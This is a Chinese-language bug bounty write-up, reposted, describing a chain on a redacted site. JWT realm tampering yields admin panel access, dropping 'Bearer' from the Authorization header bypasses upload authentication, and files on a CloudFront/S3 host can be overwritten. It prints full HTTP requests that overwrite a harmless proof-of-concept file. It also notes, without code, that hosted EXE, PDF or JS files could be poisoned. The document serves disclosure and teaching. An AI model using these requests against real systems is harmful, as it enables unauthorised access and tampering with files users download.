背景介绍:
今天的分享来自国外h4x0r_dz的白帽子,这是他在不久前发现的漏洞,相当有趣,因为目前还未获得披露许可,以下暂且以test.com作为目标替代。
白帽小伙儿在信息收集和漏洞挖掘过程中,发现了一处管理界面绕过。
首先是一个有趣的子域admin.test.com,管理界面公开了 js 文件,通过阅读.js文件 整整 200000 行代码后,小伙儿发现它使用JSON Web 令牌 (JWT) 进行身份验证,并且找到了一个 realm 列表,但其实让人感兴趣的是test-dashboard。
什么是 realm:
“realm”身份验证保留参数供指明保护范围的身份验证方案而使用,保护空间由规范的根 URI 有效请求和权限组件组成。
更多详细解释,详见:https://www.rfc-editor.org/rfc/rfc7235#section-2.2
realm=test-user
白帽小伙儿使用 https://jwt.io/ 对用户的JWT进行解码,感觉可以通过控制realm来访问到test-dashboard。具体步骤是这样的:
- 打开https://test.com/
2.登录然后在post请求中将realm修改为”realm”:”test-dashboard”,请求包如下:
POST /api/v1/login HTTP/1.1
Host: accounts.test.com
Connection: close
Content-Length: 79
Accept: */*
Content-Type: application/json
{“email”:”youremail@gmail.com”,”password”:”<password>”,”realm”:”test-dashboard”}
如果解码JWT,我们会看到realm已经改变:
那么,我们使用经过修改后JWT,就可以成功访问到管理面板了。
小伙儿立即报告了这个漏洞,对方很快给予了响应:
我们与开发人员就该漏洞进行了讨论,他们说你可以访问的管理面板只是一个在客户端呈现的应用程序(只需要呈现公共信息的那种页面),实际的 API 是一个单独的应用程序,其端点需要具有特定范围的有效身份验证令牌,因此,除非你可以制作一个与 API 交互的令牌,否则我们会降低该漏洞的严重性。
很快,审核人员便将漏洞的严重性从严重更改为了中级。
白帽小伙儿此时几乎想要放弃了,此时耳边响起了“不抛弃、不放弃”的声音,于是他决定继续深入挖掘。
他同意了对方开发人员的观点,为了认为漏洞至关重要,他需要在 JWT 中缩小范围。这几乎是不可能完成的任务,这相当于要找到 JWT 机制的0day漏洞。
白帽小伙儿疯狂地开始寻找类似的信息,由于可以控制realm并生成有效的 JWT,所以他开始尝试每个有效载荷来改变操纵范围,但没有任何效果,也无法完成想要的逃逸。
他开始使用 ffuf 对 admin.test.com 进行目录扫描,同样不幸的是,他没有找到任何有效的页面。
默认情况下,ffuf使用 GET HTTP 方法,于是小伙儿尝试了 POST 方法,发现https://admin.test.com/upload 返回了403响应,这很有趣,因为在 app.js 文件中也发现了该站点。
假如我们能够上传一个 shell 会怎样?(肾上腺素开始飙升了)
在花了几个小时重新阅读 JavaScript 文件后,白帽小伙儿构建文件上传请求:
POST /upload HTTP/1.1
Host: admin.test.com
Connection: close
Content-Length: 300
Accept: application/json, text/plain, */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypxxxxxx
Authorization: Bearer <JWT>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4629.0 Safari/537.36
------WebKitFormBoundarypxxxxxx
Content-Disposition: form-data; name="destination"
gallery/
------WebKitFormBoundarypxxxxxx
Content-Disposition: form-data; name="file"; filename="poc.txt"
Content-Type: Text/plain
h4x0r-dz POC
------WebKitFormBoundarypxxxxxx--
但是收到的却是 401 错误
身份认证绕过:
你知道什么是模糊测试吗?
如果你的答案是否定的,那么你将错过N多漏洞!
模糊测试是一种黑盒软件测试技术,它基本上包括以自动化方式使用格式错误/半格式错误的数据输入来发现程序的错误。
更多参考:https://owasp.org/www-community/Fuzzing
说干就干,开始模糊测试。最终成功获得了服务器的 200 响应:
转到test.com
登录账号
- Grep Authorization header
漏洞是这样的,当你从Authorization header中删除Bearer时,将能够进行绕过身份验证, 并且拥有管理员权限。
发送以下请求以上传文件:
POST /upload HTTP/1.1
Host: admin.test.com
Connection: close
Content-Length: 300
Accept: application/json, text/plain, */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypxxxxxx
Authorization: <JWT>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4629.0 Safari/537.36
------WebKitFormBoundarypxxxxxx
Content-Disposition: form-data; name="destination"
gallery/
------WebKitFormBoundarypxxxxxx
Content-Disposition: form-data; name="file"; filename="poc.txt"
Content-Type: Text/plain
h4x0r-dz POC
------WebKitFormBoundarypxxxxxx--
那么我们可以在哪里可以找到刚刚上传的文件呢?
起初,白帽小伙儿以为没有办法知道上传文件的路径,他尝试使用 ffuf 对所有子域进行扫描,试图找到 admin.test.com/uploads/poc.txt
但什么也没找到,于是他开始查看我的Burp-Suite 历史信息并查看服务器响应,成功找到了 href=https://xxxxx.cloudfront.net/gallery/xxxxx
在图库文件上传时的请求是这样的,那么浏览一下:
https://XXXXXXXXX.cloudfront.net/gallery/poc.txt 看看
成功发现刚刚上传的poc文件!
什么是CloudFront?
Amazon CloudFront 是由 Amazon Web Services 运营的内容交付网络,内容交付网络提供了一个全球分布的代理服务器网络,这些服务器将内容(如 Web 视频或其它大型媒体)缓存到客户端本地,从而提高内容的访问速度。
因此我们是无法上传Shell的。
假如现在报告这个文件上传漏洞,漏洞评级也会非常低,因此我门再次需要更深入的挖掘!
任意文件覆盖
默认情况下,如果上传文件到 Amazon S3,Amazon S3 容易受到任意文件覆盖的影响。
既然有任意文件覆盖,那么我们就可以做很多事情,通过进一步深入,xxx.cloudfront.net 在主网站中被用来托管 javascript 和 HTML 以及其它文件。
如此多的文件托管在 xxx.cloudfront.net 中,作为攻击者,可以更改文件的内容并设法在主域中存储XSS和其它安全问题,因为它们使用 xxx.cloudfront.net 来托管Windows软件和PDF文件,用户可以下载。
所以可以通过将恶意代码放入现有的 EXE 或 PDF 文件 或是 CSS 中来更改这些文件的内容,从而在用户的计算机上获得 RCE ……
实现步骤
攻击者可以更改其它文件内容,请求正文中的参数只要指定文件路径,便可以更改任意文件。
第一个 POC 文件:
由于缓存,我们无法从浏览器来验证漏洞,因此可以 curl 命令:
现在,我们通过如下的 requset 请求来更改了文件 poc.txt 的内容:
POST /upload HTTP/1.1
Host: admin.test.com
Connection: close
Content-Length: 300
Accept: application/json, text/plain, */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypxxxxxx
Authorization: <JWT>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4629.0 Safari/537.36
------WebKitFormBoundarypxxxxxx
Content-Disposition: form-data; name="destination"
gallery/
------WebKitFormBoundarypxxxxxx
Content-Disposition: form-data; name="file"; filename="poc.txt"
Content-Type: Text/plain
Arbitrary File Overwrite
------WebKitFormBoundarypxxxxxx--
如上所见,我们成功覆盖了现有文件!
SRC响应
白帽小伙儿因该漏洞获得了 20,000 美元奖励。
另外,因管理面板访问权限绕过获得了 3000 美元奖励,总计获得 23,000 美元的奖励。
希望你能从本篇分享中有所收获,祝各位周末愉快!